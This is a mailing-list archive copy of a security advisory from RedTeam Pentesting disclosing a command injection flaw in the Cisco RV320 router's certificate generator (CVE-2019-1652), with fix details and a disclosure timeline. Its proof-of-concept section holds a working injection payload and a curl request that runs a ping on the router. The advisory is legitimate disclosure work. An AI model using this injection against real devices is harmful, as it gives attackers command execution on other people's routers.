[RT-SA-2018-004] Cisco RV320 Command Injection

Related Vulnerabilities: CVE-2019-1652  
                							

                <!--X-Body-Begin-->
<!--X-User-Header-->
<a href="/fulldisclosure/"><img src="/images/fulldisclosure-logo.png" class="l-logo right" alt="fulldisclosure logo" width="80"></a>
<h2 class="m-list"><a href="/fulldisclosure/">Full Disclosure</a>
mailing list archives</h2>
<!--X-User-Header-End-->
<!--X-TopPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="53"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#54">By Date</a>
<a href="55"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="53"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#54">By Thread</a>
<a href="55"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<form class="nst-search center" action="/search/fulldisclosure">
<input class="nst-search-q" name="q" type="search" placeholder="List Archive Search">
<button class="nst-search-button" title="Search">
<img style="width:100%;aspect-ratio:1/1;" alt="" aria-hidden="true" src="/shared/images/nst-icons.svg#search">
</button>
</form>

</div>

<!--X-TopPNI-End-->
<!--X-MsgBody-->
<!--X-Subject-Header-Begin-->
<h1 class="m-title">[RT-SA-2018-004] Cisco RV320 Command Injection</h1>
<hr>
<!--X-Subject-Header-End-->
<!--X-Head-of-Message-->


<em>From</em>: RedTeam Pentesting GmbH &lt;release () redteam-pentesting de&gt;


<em>Date</em>: Thu, 24 Jan 2019 10:38:36 +0100


<!--X-Head-of-Message-End-->
<!--X-Head-Body-Sep-Begin-->
<hr>
<!--X-Head-Body-Sep-End-->
<!--X-Body-of-Message-->
<pre style="margin: 0em;">Advisory: Cisco RV320 Command Injection

RedTeam Pentesting discovered a command injection vulnerability in the
web-based certificate generator feature of the Cisco RV320 router.


Details
=======

Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others
Affected Versions: 1.4.2.15 and later
Fixed Versions: since 1.4.2.20
Vulnerability Type: Remote Code Execution
Security Risk: medium
Vendor URL: <a rel="nofollow" href="https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject">https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject</a>
Vendor Status: fixed version released
Advisory URL: <a rel="nofollow" href="https://www.redteam-pentesting.de/advisories/rt-sa-2018-004">https://www.redteam-pentesting.de/advisories/rt-sa-2018-004</a>
Advisory Status: published
CVE: CVE-2019-1652
CVE URL: <a rel="nofollow" href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1652">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1652</a>


Introduction
============

"Keep your employees, your business, and yourself productive and
effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal
choice for any small office or small business looking for performance,
security, and reliability in its network."
(from the Cisco RV320 product page [1])


More Details
============

The router's web interface enables users to generate new X.509
certificates directly on the device. A user may enter typical
configuration parameters required for the certificate, such as
organisation, the common name and so on. In order to generate the
certificate, the device uses the command-line program openssl [2]. The
device's firmware uses the following format string to assemble the
openssl command:

------------------------------------------------------------------------
openssl req -new  -nodes  -subj '/C=%s/ST=%s/L=%s/O=%s/OU=%s/CN=%s/emailAddress=%s' -keyout %s%s.key -sha256 -out 
%s%s.csr -days %s -newkey rsa:%s  &gt; /dev/null 2&gt;&amp;1
------------------------------------------------------------------------

Although the web interface filters certain special characters via
JavaScript, there is actually no input filtering, escaping or encoding
happening on the server. This allows attackers to inject arbitrary
commands.


Proof of Concept
================

Even though all components of the subject seem to be vulnerable to
command injection, the following example uses the common name to trigger
a ping command:

------------------------------------------------------------------------
a'$(ping -c 4 192.168.1.2)'b
------------------------------------------------------------------------

The following HTTP POST request invokes the certificate generator
function and triggers the command injection. It requires a valid session
cookie for the device's web interface.

------------------------------------------------------------------------
curl -s -b "$COOKIE" \
--data "page=self_generator.htm&amp;totalRules=1&amp;OpenVPNRules=30"\
"&amp;submitStatus=1&amp;log_ch=1&amp;type=4&amp;Country=A&amp;state=A&amp;locality=A"\
"&amp;organization=A&amp;organization_unit=A&amp;email=ab%40example.com"\
"&amp;KeySize=512&amp;KeyLength=1024&amp;valid_days=30&amp;SelectSubject_c=1&amp;"\
"SelectSubject_s=1" \
--data-urlencode "common_name=a'\$(ping -c 4 192.168.1.2)'b" \
"<a rel="nofollow" href="http://192.168.1.1/certificate_handle2.htm?type=4&quot;">http://192.168.1.1/certificate_handle2.htm?type=4"</a>;
------------------------------------------------------------------------

Afterwards, the incoming ICMP echo requests can be observed on the
attacker's system at 192.168.1.2.


Workaround
==========

Prevent untrusted users from using the router's web interface.


Fix
===

Install firmware version 1.4.2.20 (or later) on the router.


Security Risk
=============

The vulnerability allows attackers with administrative access to the
router's web interface to execute arbitrary operating system commands on
the device. Because attackers require valid credentials to the web
interface, this vulnerability is only rated as a medium risk.


Timeline
========

2018-09-19 Vulnerability identified
2018-09-27 Customer approved disclosure to vendor
2018-09-28 Vendor notified
2018-10-05 Receipt of advisory acknowledged by vendor
2018-10-05 Notified vendor of disclosure date: 2019-01-09
2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor
2019-01-16 List of affected versions provided by vendor
2019-01-23 Advisory published


References
==========

[1] <a rel="nofollow" href="https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html">https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html</a>
[2] <a rel="nofollow" href="https://wiki.openssl.org/index.php/Command_Line_Utilities">https://wiki.openssl.org/index.php/Command_Line_Utilities</a>


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
<a rel="nofollow" href="https://www.redteam-pentesting.de/">https://www.redteam-pentesting.de/</a>

Working at RedTeam Pentesting
=============================

RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:
<a rel="nofollow" href="https://www.redteam-pentesting.de/jobs/">https://www.redteam-pentesting.de/jobs/</a>

-- 
RedTeam Pentesting GmbH                   Tel.: +49 241 510081-0
Dennewartstr. 25-27                       Fax : +49 241 510081-99
52068 Aachen                    <a rel="nofollow" href="https://www.redteam-pentesting.de">https://www.redteam-pentesting.de</a>
Germany                         Registergericht: Aachen HRB 14004
Geschäftsführer:                       Patrick Hof, Jens Liebchen
</pre><p><strong>Attachment:
<a href="att-54/signature_asc.bin"><tt>signature.asc</tt></a></strong>

<em>Description:</em> </p>
<pre style="margin: 0em;">
_______________________________________________
Sent through the Full Disclosure mailing list
<a rel="nofollow" href="https://nmap.org/mailman/listinfo/fulldisclosure">https://nmap.org/mailman/listinfo/fulldisclosure</a>
Web Archives &amp; RSS: <a rel="nofollow" href="http://seclists.org/fulldisclosure/">http://seclists.org/fulldisclosure/</a></pre>
<!--X-Body-of-Message-End-->
<!--X-MsgBody-End-->
<!--X-Follow-Ups-->
<hr>
<!--X-Follow-Ups-End-->
<!--X-References-->
<!--X-References-End-->
<!--X-BotPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="53"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#54">By Date</a>
<a href="55"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="53"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#54">By Thread</a>
<a href="55"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
</div>
<h3 class="m-thread">Current thread:</h3>
<ul class="thread">
<li><strong>[RT-SA-2018-004] Cisco RV320 Command Injection</strong> <em>RedTeam Pentesting GmbH (Jan 24)</em>
</li></ul>


<!--X-BotPNI-End-->
<!--X-User-Footer-->
<!--X-User-Footer-End-->
<p>